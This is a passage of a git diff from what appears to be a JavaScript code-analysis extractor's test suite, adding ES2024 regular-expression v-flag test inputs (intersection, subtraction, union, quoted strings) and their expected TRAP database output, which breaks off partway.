-jsdoc_tags(#20182,"param",#20181,0,"@param")
-#20183=@"loc,{#10000},30,4,30,9"
-locations_default(#20183,#10000,30,4,30,9)
+jsdoc_tags(#20182,"",#20181,0,"@")
+#20183=@"loc,{#10000},20,4,20,4"
+locations_default(#20183,#10000,20,4,20,4)
 hasLocation(#20182,#20183)
-jsdoc_tag_descriptions(#20182,"[description]
-")
-jsdoc_tag_names(#20182,"w")
+jsdoc_tag_descriptions(#20182,"{link a}")
 #20184=*
-jsdoc_type_exprs(#20184,10,#20182,0,"[type]")
-#20185=@"loc,{#10000},30,13,30,18"
-locations_default(#20185,#10000,30,13,30,18)
-hasLocation(#20184,#20185)
+jsdoc_errors(#20184,#20182,"Missing or invalid title","Missing ... d title")
+#20185=*
+jsdoc(#20185,"",#20014)
+hasLocation(#20185,#20015)
 #20186=*
-jsdoc_type_exprs(#20186,5,#20184,0,"type")
-#20187=@"loc,{#10000},30,14,30,17"
-locations_default(#20187,#10000,30,14,30,17)
+jsdoc_tags(#20186,"typedef",#20185,0,"@typedef")
+#20187=@"loc,{#10000},24,4,24,11"
+locations_default(#20187,#10000,24,4,24,11)
 hasLocation(#20186,#20187)
+jsdoc_tag_descriptions(#20186,"{a}")
 #20188=*
-jsdoc_tags(#20188,"param",#20181,1,"@param")
-#20189=@"loc,{#10000},31,4,31,9"
-locations_default(#20189,#10000,31,4,31,9)
-hasLocation(#20188,#20189)
-jsdoc_tag_descriptions(#20188,"[description]
-")
+jsdoc_errors(#20188,#20186,"Missing or invalid tag type","Missing ... ag type")
+#20189=*
+jsdoc(#20189,"[resize description]",#20016)
+hasLocation(#20189,#20017)
 #20190=*
-jsdoc_tags(#20190,"return",#20181,2,"@return")
-#20191=@"loc,{#10000},32,4,32,10"
-locations_default(#20191,#10000,32,4,32,10)
+jsdoc_tags(#20190,"param",#20189,0,"@param")
+#20191=@"loc,{#10000},30,4,30,9"
+locations_default(#20191,#10000,30,4,30,9)
 hasLocation(#20190,#20191)
-jsdoc_tag_descriptions(#20190,"[description]")
+jsdoc_tag_descriptions(#20190,"[description]
+")
+jsdoc_tag_names(#20190,"w")
 #20192=*
 jsdoc_type_exprs(#20192,10,#20190,0,"[type]")
-#20193=@"loc,{#10000},32,13,32,18"
-locations_default(#20193,#10000,32,13,32,18)
+#20193=@"loc,{#10000},30,13,30,18"
+locations_default(#20193,#10000,30,13,30,18)
 hasLocation(#20192,#20193)
 #20194=*
 jsdoc_type_exprs(#20194,5,#20192,0,"type")
-#20195=@"loc,{#10000},32,14,32,17"
-locations_default(#20195,#10000,32,14,32,17)
+#20195=@"loc,{#10000},30,14,30,17"
+locations_default(#20195,#10000,30,14,30,17)
 hasLocation(#20194,#20195)
 #20196=*
-jsdoc(#20196,"",#20018)
-hasLocation(#20196,#20019)
-#20197=*
-jsdoc_tags(#20197,"exports",#20196,0,"@exports")
-#20198=@"loc,{#10000},36,3,36,10"
-locations_default(#20198,#10000,36,3,36,10)
-hasLocation(#20197,#20198)
-jsdoc_tag_descriptions(#20197,"R
-")
-#20199=*
-jsdoc(#20199,"",#20020)
-hasLocation(#20199,#20021)
+jsdoc_tags(#20196,"param",#20189,1,"@param")
+#20197=@"loc,{#10000},31,4,31,9"
+locations_default(#20197,#10000,31,4,31,9)
+hasLocation(#20196,#20197)
+jsdoc_tag_descriptions(#20196,"[description]
+")
+#20198=*
+jsdoc_tags(#20198,"return",#20189,2,"@return")
+#20199=@"loc,{#10000},32,4,32,10"
+locations_default(#20199,#10000,32,4,32,10)
+hasLocation(#20198,#20199)
+jsdoc_tag_descriptions(#20198,"[description]")
 #20200=*
-jsdoc_tags(#20200,"typedef",#20199,0,"@typedef")
-#20201=@"loc,{#10000},41,4,41,11"
-locations_default(#20201,#10000,41,4,41,11)
+jsdoc_type_exprs(#20200,10,#20198,0,"[type]")
+#20201=@"loc,{#10000},32,13,32,18"
+locations_default(#20201,#10000,32,13,32,18)
 hasLocation(#20200,#20201)
 #20202=*
-jsdoc_type_exprs(#20202,9,#20200,0,"{0: number}")
-#20203=@"loc,{#10000},41,14,41,24"
-locations_default(#20203,#10000,41,14,41,24)
+jsdoc_type_exprs(#20202,5,#20200,0,"type")
+#20203=@"loc,{#10000},32,14,32,17"
+locations_default(#20203,#10000,32,14,32,17)
 hasLocation(#20202,#20203)
-jsdoc_record_field_name(#20202,0,"0")
 #20204=*
-jsdoc_type_exprs(#20204,5,#20202,0,"number")
-#20205=@"loc,{#10000},41,18,41,23"
-locations_default(#20205,#10000,41,18,41,23)
-hasLocation(#20204,#20205)
-toplevels(#20001,0)
-#20206=@"loc,{#10000},1,1,43,0"
-locations_default(#20206,#10000,1,1,43,0)
-hasLocation(#20001,#20206)
+jsdoc(#20204,"",#20018)
+hasLocation(#20204,#20019)
+#20205=*
+jsdoc_tags(#20205,"exports",#20204,0,"@exports")
+#20206=@"loc,{#10000},36,3,36,10"
+locations_default(#20206,#10000,36,3,36,10)
+hasLocation(#20205,#20206)
+jsdoc_tag_descriptions(#20205,"R
+")
 #20207=*
-entry_cfg_node(#20207,#20001)
-#20208=@"loc,{#10000},1,1,1,0"
-locations_default(#20208,#10000,1,1,1,0)
-hasLocation(#20207,#20208)
-#20209=*
-exit_cfg_node(#20209,#20001)
-hasLocation(#20209,#20105)
-successor(#20207,#20209)
+jsdoc(#20207,"",#20020)
+hasLocation(#20207,#20021)
+#20208=*
+jsdoc_tags(#20208,"typedef",#20207,0,"@typedef")
+#20209=@"loc,{#10000},41,4,41,11"
+locations_default(#20209,#10000,41,4,41,11)
+hasLocation(#20208,#20209)
+#20210=*
+jsdoc_type_exprs(#20210,9,#20208,0,"{0: number}")
+#20211=@"loc,{#10000},41,14,41,24"
+locations_default(#20211,#10000,41,14,41,24)
+hasLocation(#20210,#20211)
+jsdoc_record_field_name(#20210,0,"0")
+#20212=*
+jsdoc_type_exprs(#20212,5,#20210,0,"number")
+#20213=@"loc,{#10000},41,18,41,23"
+locations_default(#20213,#10000,41,18,41,23)
+hasLocation(#20212,#20213)
+toplevels(#20001,0)
+#20214=@"loc,{#10000},1,1,43,0"
+locations_default(#20214,#10000,1,1,43,0)
+hasLocation(#20001,#20214)
+#20215=*
+entry_cfg_node(#20215,#20001)
+#20216=@"loc,{#10000},1,1,1,0"
+locations_default(#20216,#10000,1,1,1,0)
+hasLocation(#20215,#20216)
+#20217=*
+exit_cfg_node(#20217,#20001)
+hasLocation(#20217,#20105)
+successor(#20215,#20217)
 numlines(#10000,42,0,37)
 filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/input/additional_test_cases.js b/javascript/extractor/tests/es2024/input/additional_test_cases.js
new file mode 100644
index 000000000000..718805993315
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/additional_test_cases.js
@@ -0,0 +1,2 @@
+/^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*/g;
+/([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/;
diff --git a/javascript/extractor/tests/es2024/input/intersection.js b/javascript/extractor/tests/es2024/input/intersection.js
new file mode 100644
index 000000000000..a1f50cbaef6d
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/intersection.js
@@ -0,0 +1,7 @@
+/[[abc]&&[bcd]]/v; // Valid use of intersection operator, matches b or c
+/abc&&bcd/v; //Valid regex, but no intersection operation: Matches the literal string "abc&&bcd"
+/[abc]&&[bcd]/v; // Valid regex, but incorrect intersection operation: 
+                 // - Matches a single character from [abc]
+                 // - Then the literal "&&"
+                 // - Then a single character from [bcd]
+/[[abc]&&[bcd]&&[c]]/v; // Valid use of intersection operator, matches c
diff --git a/javascript/extractor/tests/es2024/input/regex_nested_character_class.js b/javascript/extractor/tests/es2024/input/regex_nested_character_class.js
new file mode 100644
index 000000000000..8326d338f54f
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/regex_nested_character_class.js
@@ -0,0 +1,3 @@
+/[[]]/v; //Previously not allowed to nest character classes now completely valid with v flag.
+/[[a]]/v;
+/[ [] [ [] [] ] ]/v;
diff --git a/javascript/extractor/tests/es2024/input/regex_quoted_string.js b/javascript/extractor/tests/es2024/input/regex_quoted_string.js
new file mode 100644
index 000000000000..2749af7f9d09
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/regex_quoted_string.js
@@ -0,0 +1,5 @@
+/[\q{abc}]/v;
+/[\q{abc|cbd|dcb}]/v;
+/[\q{\}}]/v;
+/[\q{\{}]/v;
+/[\q{cc|\}a|cc}]/v;
diff --git a/javascript/extractor/tests/es2024/input/subtraction.js b/javascript/extractor/tests/es2024/input/subtraction.js
new file mode 100644
index 000000000000..918375fb911c
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/subtraction.js
@@ -0,0 +1,3 @@
+/[\p{Script_Extensions=Greek}--\p{Letter}]/v;
+/[[abc]--[cbd]]/v;
+/[[abc]--[cbd]--[bde]]/v;
diff --git a/javascript/extractor/tests/es2024/input/test.js b/javascript/extractor/tests/es2024/input/test.js
new file mode 100644
index 000000000000..1f96a35e4c21
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/test.js
@@ -0,0 +1 @@
+const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv;
diff --git a/javascript/extractor/tests/es2024/input/union.js b/javascript/extractor/tests/es2024/input/union.js
new file mode 100644
index 000000000000..9eeab43f43aa
--- /dev/null
+++ b/javascript/extractor/tests/es2024/input/union.js
@@ -0,0 +1,6 @@
+/[\p{Script_Extensions=Greek}\p{RGI_Emoji}]/v;
+/[[abc][cbd]]/v;
+/[\p{Emoji}\q{a&}byz]/v;
+/[\q{\\\}a&}byz]/v;
+/[\q{\\}]/v;
+/[\q{abc|cbd|\}}]/v;
diff --git a/javascript/extractor/tests/es2024/options.json b/javascript/extractor/tests/es2024/options.json
new file mode 100644
index 000000000000..075583ca1f63
--- /dev/null
+++ b/javascript/extractor/tests/es2024/options.json
@@ -0,0 +1,3 @@
+{
+    "experimental": true
+}
diff --git a/javascript/extractor/tests/es2024/output/trap/additional_test_cases.js.trap b/javascript/extractor/tests/es2024/output/trap/additional_test_cases.js.trap
new file mode 100644
index 000000000000..bd2318dbc5c4
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/additional_test_cases.js.trap
@@ -0,0 +1,546 @@
+#10000=@"/additional_test_cases.js;sourcefile"
+files(#10000,"/additional_test_cases.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"/^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*/g;","
+")
+#20003=@"loc,{#10000},1,1,1,58"
+locations_default(#20003,#10000,1,1,1,58)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"/([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/;","
+")
+#20005=@"loc,{#10000},2,1,2,47"
+locations_default(#20005,#10000,2,1,2,47)
+hasLocation(#20004,#20005)
+numlines(#20001,2,2,0)
+#20006=*
+tokeninfo(#20006,5,#20001,0,"/^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*/g")
+#20007=@"loc,{#10000},1,1,1,57"
+locations_default(#20007,#10000,1,1,1,57)
+hasLocation(#20006,#20007)
+#20008=*
+tokeninfo(#20008,8,#20001,1,";")
+#20009=@"loc,{#10000},1,58,1,58"
+locations_default(#20009,#10000,1,58,1,58)
+hasLocation(#20008,#20009)
+#20010=*
+tokeninfo(#20010,5,#20001,2,"/([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/")
+#20011=@"loc,{#10000},2,1,2,46"
+locations_default(#20011,#10000,2,1,2,46)
+hasLocation(#20010,#20011)
+#20012=*
+tokeninfo(#20012,8,#20001,3,";")
+#20013=@"loc,{#10000},2,47,2,47"
+locations_default(#20013,#10000,2,47,2,47)
+hasLocation(#20012,#20013)
+#20014=*
+tokeninfo(#20014,0,#20001,4,"")
+#20015=@"loc,{#10000},3,1,3,0"
+locations_default(#20015,#10000,3,1,3,0)
+hasLocation(#20014,#20015)
+toplevels(#20001,0)
+#20016=@"loc,{#10000},1,1,3,0"
+locations_default(#20016,#10000,1,1,3,0)
+hasLocation(#20001,#20016)
+#20017=*
+stmts(#20017,2,#20001,0,"/^p(ost ...  ]]*/g;")
+hasLocation(#20017,#20003)
+stmt_containers(#20017,#20001)
+#20018=*
+exprs(#20018,5,#20017,0,"/^p(ost ... z ]]*/g")
+hasLocation(#20018,#20007)
+enclosing_stmt(#20018,#20017)
+expr_containers(#20018,#20001)
+literals("/^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*/g","/^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*/g",#20018)
+#20019=*
+regexpterm(#20019,1,#20018,0,"^p(ost)?[ |\.]*o(ffice)?[ |\.]*(box)?[ 0-9]*[^[a-z ]]*")
+#20020=@"loc,{#10000},1,2,1,55"
+locations_default(#20020,#10000,1,2,1,55)
+hasLocation(#20019,#20020)
+#20021=*
+regexpterm(#20021,2,#20019,0,"^")
+#20022=@"loc,{#10000},1,2,1,2"
+locations_default(#20022,#10000,1,2,1,2)
+hasLocation(#20021,#20022)
+#20023=*
+regexpterm(#20023,14,#20019,1,"p")
+#20024=@"loc,{#10000},1,3,1,3"
+locations_default(#20024,#10000,1,3,1,3)
+hasLocation(#20023,#20024)
+regexp_const_value(#20023,"p")
+#20025=*
+regexpterm(#20025,10,#20019,2,"(ost)?")
+#20026=@"loc,{#10000},1,4,1,9"
+locations_default(#20026,#10000,1,4,1,9)
+hasLocation(#20025,#20026)
+is_greedy(#20025)
+#20027=*
+regexpterm(#20027,13,#20025,0,"(ost)")
+#20028=@"loc,{#10000},1,4,1,8"
+locations_default(#20028,#10000,1,4,1,8)
+hasLocation(#20027,#20028)
+is_capture(#20027,1)
+#20029=*
+regexpterm(#20029,14,#20027,0,"ost")
+#20030=@"loc,{#10000},1,5,1,7"
+locations_default(#20030,#10000,1,5,1,7)
+hasLocation(#20029,#20030)
+regexp_const_value(#20029,"ost")
+#20031=*
+regexpterm(#20031,8,#20019,3,"[ |\.]*")
+#20032=@"loc,{#10000},1,10,1,16"
+locations_default(#20032,#10000,1,10,1,16)
+hasLocation(#20031,#20032)
+is_greedy(#20031)
+#20033=*
+regexpterm(#20033,23,#20031,0,"[ |\.]")
+#20034=@"loc,{#10000},1,10,1,15"
+locations_default(#20034,#10000,1,10,1,15)
+hasLocation(#20033,#20034)
+#20035=*
+regexpterm(#20035,14,#20033,0," ")
+#20036=@"loc,{#10000},1,11,1,11"
+locations_default(#20036,#10000,1,11,1,11)
+hasLocation(#20035,#20036)
+regexp_const_value(#20035," ")
+#20037=*
+regexpterm(#20037,14,#20033,1,"|")
+#20038=@"loc,{#10000},1,12,1,12"
+locations_default(#20038,#10000,1,12,1,12)
+hasLocation(#20037,#20038)
+regexp_const_value(#20037,"|")
+#20039=*
+regexpterm(#20039,21,#20033,2,"\.")
+#20040=@"loc,{#10000},1,13,1,14"
+locations_default(#20040,#10000,1,13,1,14)
+hasLocation(#20039,#20040)
+regexp_const_value(#20039,".")
+#20041=*
+regexpterm(#20041,14,#20019,4,"o")
+#20042=@"loc,{#10000},1,17,1,17"
+locations_default(#20042,#10000,1,17,1,17)
+hasLocation(#20041,#20042)
+regexp_const_value(#20041,"o")
+#20043=*
+regexpterm(#20043,10,#20019,5,"(ffice)?")
+#20044=@"loc,{#10000},1,18,1,25"
+locations_default(#20044,#10000,1,18,1,25)
+hasLocation(#20043,#20044)
+is_greedy(#20043)
+#20045=*
+regexpterm(#20045,13,#20043,0,"(ffice)")
+#20046=@"loc,{#10000},1,18,1,24"
+locations_default(#20046,#10000,1,18,1,24)
+hasLocation(#20045,#20046)
+is_capture(#20045,2)
+#20047=*
+regexpterm(#20047,14,#20045,0,"ffice")
+#20048=@"loc,{#10000},1,19,1,23"
+locations_default(#20048,#10000,1,19,1,23)
+hasLocation(#20047,#20048)
+regexp_const_value(#20047,"ffice")
+#20049=*
+regexpterm(#20049,8,#20019,6,"[ |\.]*")
+#20050=@"loc,{#10000},1,26,1,32"
+locations_default(#20050,#10000,1,26,1,32)
+hasLocation(#20049,#20050)
+is_greedy(#20049)
+#20051=*
+regexpterm(#20051,23,#20049,0,"[ |\.]")
+#20052=@"loc,{#10000},1,26,1,31"
+locations_default(#20052,#10000,1,26,1,31)
+hasLocation(#20051,#20052)
+#20053=*
+regexpterm(#20053,14,#20051,0," ")
+#20054=@"loc,{#10000},1,27,1,27"
+locations_default(#20054,#10000,1,27,1,27)
+hasLocation(#20053,#20054)
+regexp_const_value(#20053," ")
+#20055=*
+regexpterm(#20055,14,#20051,1,"|")
+#20056=@"loc,{#10000},1,28,1,28"
+locations_default(#20056,#10000,1,28,1,28)
+hasLocation(#20055,#20056)
+regexp_const_value(#20055,"|")
+#20057=*
+regexpterm(#20057,21,#20051,2,"\.")
+#20058=@"loc,{#10000},1,29,1,30"
+locations_default(#20058,#10000,1,29,1,30)
+hasLocation(#20057,#20058)
+regexp_const_value(#20057,".")
+#20059=*
+regexpterm(#20059,10,#20019,7,"(box)?")
+#20060=@"loc,{#10000},1,33,1,38"
+locations_default(#20060,#10000,1,33,1,38)
+hasLocation(#20059,#20060)
+is_greedy(#20059)
+#20061=*
+regexpterm(#20061,13,#20059,0,"(box)")
+#20062=@"loc,{#10000},1,33,1,37"
+locations_default(#20062,#10000,1,33,1,37)
+hasLocation(#20061,#20062)
+is_capture(#20061,3)
+#20063=*
+regexpterm(#20063,14,#20061,0,"box")
+#20064=@"loc,{#10000},1,34,1,36"
+locations_default(#20064,#10000,1,34,1,36)
+hasLocation(#20063,#20064)
+regexp_const_value(#20063,"box")
+#20065=*
+regexpterm(#20065,8,#20019,8,"[ 0-9]*")
+#20066=@"loc,{#10000},1,39,1,45"
+locations_default(#20066,#10000,1,39,1,45)
+hasLocation(#20065,#20066)
+is_greedy(#20065)
+#20067=*
+regexpterm(#20067,23,#20065,0,"[ 0-9]")
+#20068=@"loc,{#10000},1,39,1,44"
+locations_default(#20068,#10000,1,39,1,44)
+hasLocation(#20067,#20068)
+#20069=*
+regexpterm(#20069,14,#20067,0," ")
+#20070=@"loc,{#10000},1,40,1,40"
+locations_default(#20070,#10000,1,40,1,40)
+hasLocation(#20069,#20070)
+regexp_const_value(#20069," ")
+#20071=*
+regexpterm(#20071,24,#20067,1,"0-9")
+#20072=@"loc,{#10000},1,41,1,43"
+locations_default(#20072,#10000,1,41,1,43)
+hasLocation(#20071,#20072)
+#20073=*
+regexpterm(#20073,14,#20071,0,"0")
+#20074=@"loc,{#10000},1,41,1,41"
+locations_default(#20074,#10000,1,41,1,41)
+hasLocation(#20073,#20074)
+regexp_const_value(#20073,"0")
+#20075=*
+regexpterm(#20075,14,#20071,1,"9")
+#20076=@"loc,{#10000},1,43,1,43"
+locations_default(#20076,#10000,1,43,1,43)
+hasLocation(#20075,#20076)
+regexp_const_value(#20075,"9")
+#20077=*
+regexpterm(#20077,23,#20019,9,"[^[a-z ]")
+#20078=@"loc,{#10000},1,46,1,53"
+locations_default(#20078,#10000,1,46,1,53)
+hasLocation(#20077,#20078)
+is_inverted(#20077)
+#20079=*
+regexpterm(#20079,14,#20077,0,"[")
+#20080=@"loc,{#10000},1,48,1,48"
+locations_default(#20080,#10000,1,48,1,48)
+hasLocation(#20079,#20080)
+regexp_const_value(#20079,"[")
+#20081=*
+regexpterm(#20081,24,#20077,1,"a-z")
+#20082=@"loc,{#10000},1,49,1,51"
+locations_default(#20082,#10000,1,49,1,51)
+hasLocation(#20081,#20082)
+#20083=*
+regexpterm(#20083,14,#20081,0,"a")
+#20084=@"loc,{#10000},1,49,1,49"
+locations_default(#20084,#10000,1,49,1,49)
+hasLocation(#20083,#20084)
+regexp_const_value(#20083,"a")
+#20085=*
+regexpterm(#20085,14,#20081,1,"z")
+#20086=@"loc,{#10000},1,51,1,51"
+locations_default(#20086,#10000,1,51,1,51)
+hasLocation(#20085,#20086)
+regexp_const_value(#20085,"z")
+#20087=*
+regexpterm(#20087,14,#20077,2," ")
+#20088=@"loc,{#10000},1,52,1,52"
+locations_default(#20088,#10000,1,52,1,52)
+hasLocation(#20087,#20088)
+regexp_const_value(#20087," ")
+#20089=*
+regexpterm(#20089,8,#20019,10,"]*")
+#20090=@"loc,{#10000},1,54,1,55"
+locations_default(#20090,#10000,1,54,1,55)
+hasLocation(#20089,#20090)
+is_greedy(#20089)
+#20091=*
+regexpterm(#20091,14,#20089,0,"]")
+#20092=@"loc,{#10000},1,54,1,54"
+locations_default(#20092,#10000,1,54,1,54)
+hasLocation(#20091,#20092)
+regexp_const_value(#20091,"]")
+#20093=*
+regexp_parse_errors(#20093,#20019,"unexpected character")
+hasLocation(#20093,#20092)
+#20094=*
+stmts(#20094,2,#20001,1,"/([ ]*[ ... ]+)+X/;")
+hasLocation(#20094,#20005)
+stmt_containers(#20094,#20001)
+#20095=*
+exprs(#20095,5,#20094,0,"/([ ]*[ ... -]+)+X/")
+hasLocation(#20095,#20011)
+enclosing_stmt(#20095,#20094)
+expr_containers(#20095,#20001)
+literals("/([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/","/([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X/",#20095)
+#20096=*
+regexpterm(#20096,1,#20095,0,"([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+X")
+#20097=@"loc,{#10000},2,2,2,45"
+locations_default(#20097,#10000,2,2,2,45)
+hasLocation(#20096,#20097)
+#20098=*
+regexpterm(#20098,9,#20096,0,"([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)+")
+#20099=@"loc,{#10000},2,2,2,44"
+locations_default(#20099,#10000,2,2,2,44)
+hasLocation(#20098,#20099)
+is_greedy(#20098)
+#20100=*
+regexpterm(#20100,13,#20098,0,"([ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+)")
+#20101=@"loc,{#10000},2,2,2,43"
+locations_default(#20101,#10000,2,2,2,43)
+hasLocation(#20100,#20101)
+is_capture(#20100,1)
+#20102=*
+regexpterm(#20102,1,#20100,0,"[ ]*[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+")
+#20103=@"loc,{#10000},2,3,2,42"
+locations_default(#20103,#10000,2,3,2,42)
+hasLocation(#20102,#20103)
+#20104=*
+regexpterm(#20104,8,#20102,0,"[ ]*")
+#20105=@"loc,{#10000},2,3,2,6"
+locations_default(#20105,#10000,2,3,2,6)
+hasLocation(#20104,#20105)
+is_greedy(#20104)
+#20106=*
+regexpterm(#20106,23,#20104,0,"[ ]")
+#20107=@"loc,{#10000},2,3,2,5"
+locations_default(#20107,#10000,2,3,2,5)
+hasLocation(#20106,#20107)
+#20108=*
+regexpterm(#20108,14,#20106,0," ")
+#20109=@"loc,{#10000},2,4,2,4"
+locations_default(#20109,#10000,2,4,2,4)
+hasLocation(#20108,#20109)
+regexp_const_value(#20108," ")
+#20110=*
+regexpterm(#20110,9,#20102,1,"[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+")
+#20111=@"loc,{#10000},2,7,2,42"
+locations_default(#20111,#10000,2,7,2,42)
+hasLocation(#20110,#20111)
+is_greedy(#20110)
+#20112=*
+regexpterm(#20112,23,#20110,0,"[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]")
+#20113=@"loc,{#10000},2,7,2,41"
+locations_default(#20113,#10000,2,7,2,41)
+hasLocation(#20112,#20113)
+#20114=*
+regexpterm(#20114,24,#20112,0,"a-z")
+#20115=@"loc,{#10000},2,8,2,10"
+locations_default(#20115,#10000,2,8,2,10)
+hasLocation(#20114,#20115)
+#20116=*
+regexpterm(#20116,14,#20114,0,"a")
+#20117=@"loc,{#10000},2,8,2,8"
+locations_default(#20117,#10000,2,8,2,8)
+hasLocation(#20116,#20117)
+regexp_const_value(#20116,"a")
+#20118=*
+regexpterm(#20118,14,#20114,1,"z")
+#20119=@"loc,{#10000},2,10,2,10"
+locations_default(#20119,#10000,2,10,2,10)
+hasLocation(#20118,#20119)
+regexp_const_value(#20118,"z")
+#20120=*
+regexpterm(#20120,24,#20112,1,"0-9")
+#20121=@"loc,{#10000},2,11,2,13"
+locations_default(#20121,#10000,2,11,2,13)
+hasLocation(#20120,#20121)
+#20122=*
+regexpterm(#20122,14,#20120,0,"0")
+#20123=@"loc,{#10000},2,11,2,11"
+locations_default(#20123,#10000,2,11,2,11)
+hasLocation(#20122,#20123)
+regexp_const_value(#20122,"0")
+#20124=*
+regexpterm(#20124,14,#20120,1,"9")
+#20125=@"loc,{#10000},2,13,2,13"
+locations_default(#20125,#10000,2,13,2,13)
+hasLocation(#20124,#20125)
+regexp_const_value(#20124,"9")
+#20126=*
+regexpterm(#20126,14,#20112,2,"&")
+#20127=@"loc,{#10000},2,14,2,14"
+locations_default(#20127,#10000,2,14,2,14)
+hasLocation(#20126,#20127)
+regexp_const_value(#20126,"&")
+#20128=*
+regexpterm(#20128,14,#20112,3,"#")
+#20129=@"loc,{#10000},2,15,2,15"
+locations_default(#20129,#10000,2,15,2,15)
+hasLocation(#20128,#20129)
+regexp_const_value(#20128,"#")
+#20130=*
+regexpterm(#20130,14,#20112,4,"*")
+#20131=@"loc,{#10000},2,16,2,16"
+locations_default(#20131,#10000,2,16,2,16)
+hasLocation(#20130,#20131)
+regexp_const_value(#20130,"*")
+#20132=*
+regexpterm(#20132,14,#20112,5,"=")
+#20133=@"loc,{#10000},2,17,2,17"
+locations_default(#20133,#10000,2,17,2,17)
+hasLocation(#20132,#20133)
+regexp_const_value(#20132,"=")
+#20134=*
+regexpterm(#20134,14,#20112,6,"?")
+#20135=@"loc,{#10000},2,18,2,18"
+locations_default(#20135,#10000,2,18,2,18)
+hasLocation(#20134,#20135)
+regexp_const_value(#20134,"?")
+#20136=*
+regexpterm(#20136,14,#20112,7,"@")
+#20137=@"loc,{#10000},2,19,2,19"
+locations_default(#20137,#10000,2,19,2,19)
+hasLocation(#20136,#20137)
+regexp_const_value(#20136,"@")
+#20138=*
+regexpterm(#20138,21,#20112,8,"\\")
+#20139=@"loc,{#10000},2,20,2,21"
+locations_default(#20139,#10000,2,20,2,21)
+hasLocation(#20138,#20139)
+regexp_const_value(#20138,"\")
+#20140=*
+regexpterm(#20140,14,#20112,9,">")
+#20141=@"loc,{#10000},2,22,2,22"
+locations_default(#20141,#10000,2,22,2,22)
+hasLocation(#20140,#20141)
+regexp_const_value(#20140,">")
+#20142=*
+regexpterm(#20142,14,#20112,10,"<")
+#20143=@"loc,{#10000},2,23,2,23"
+locations_default(#20143,#10000,2,23,2,23)
+hasLocation(#20142,#20143)
+regexp_const_value(#20142,"<")
+#20144=*
+regexpterm(#20144,14,#20112,11,":")
+#20145=@"loc,{#10000},2,24,2,24"
+locations_default(#20145,#10000,2,24,2,24)
+hasLocation(#20144,#20145)
+regexp_const_value(#20144,":")
+#20146=*
+regexpterm(#20146,14,#20112,12,",")
+#20147=@"loc,{#10000},2,25,2,25"
+locations_default(#20147,#10000,2,25,2,25)
+hasLocation(#20146,#20147)
+regexp_const_value(#20146,",")
+#20148=*
+regexpterm(#20148,14,#20112,13,"(")
+#20149=@"loc,{#10000},2,26,2,26"
+locations_default(#20149,#10000,2,26,2,26)
+hasLocation(#20148,#20149)
+regexp_const_value(#20148,"(")
+#20150=*
+regexpterm(#20150,14,#20112,14,")")
+#20151=@"loc,{#10000},2,27,2,27"
+locations_default(#20151,#10000,2,27,2,27)
+hasLocation(#20150,#20151)
+regexp_const_value(#20150,")")
+#20152=*
+regexpterm(#20152,14,#20112,15,"$")
+#20153=@"loc,{#10000},2,28,2,28"
+locations_default(#20153,#10000,2,28,2,28)
+hasLocation(#20152,#20153)
+regexp_const_value(#20152,"$")
+#20154=*
+regexpterm(#20154,14,#20112,16,"[")
+#20155=@"loc,{#10000},2,29,2,29"
+locations_default(#20155,#10000,2,29,2,29)
+hasLocation(#20154,#20155)
+regexp_const_value(#20154,"[")
+#20156=*
+regexpterm(#20156,21,#20112,17,"\]")
+#20157=@"loc,{#10000},2,30,2,31"
+locations_default(#20157,#10000,2,30,2,31)
+hasLocation(#20156,#20157)
+regexp_const_value(#20156,"]")
+#20158=*
+regexpterm(#20158,14,#20112,18,"_")
+#20159=@"loc,{#10000},2,32,2,32"
+locations_default(#20159,#10000,2,32,2,32)
+hasLocation(#20158,#20159)
+regexp_const_value(#20158,"_")
+#20160=*
+regexpterm(#20160,14,#20112,19,".")
+#20161=@"loc,{#10000},2,33,2,33"
+locations_default(#20161,#10000,2,33,2,33)
+hasLocation(#20160,#20161)
+regexp_const_value(#20160,".")
+#20162=*
+regexpterm(#20162,14,#20112,20,"{")
+#20163=@"loc,{#10000},2,34,2,34"
+locations_default(#20163,#10000,2,34,2,34)
+hasLocation(#20162,#20163)
+regexp_const_value(#20162,"{")
+#20164=*
+regexpterm(#20164,14,#20112,21,"}")
+#20165=@"loc,{#10000},2,35,2,35"
+locations_default(#20165,#10000,2,35,2,35)
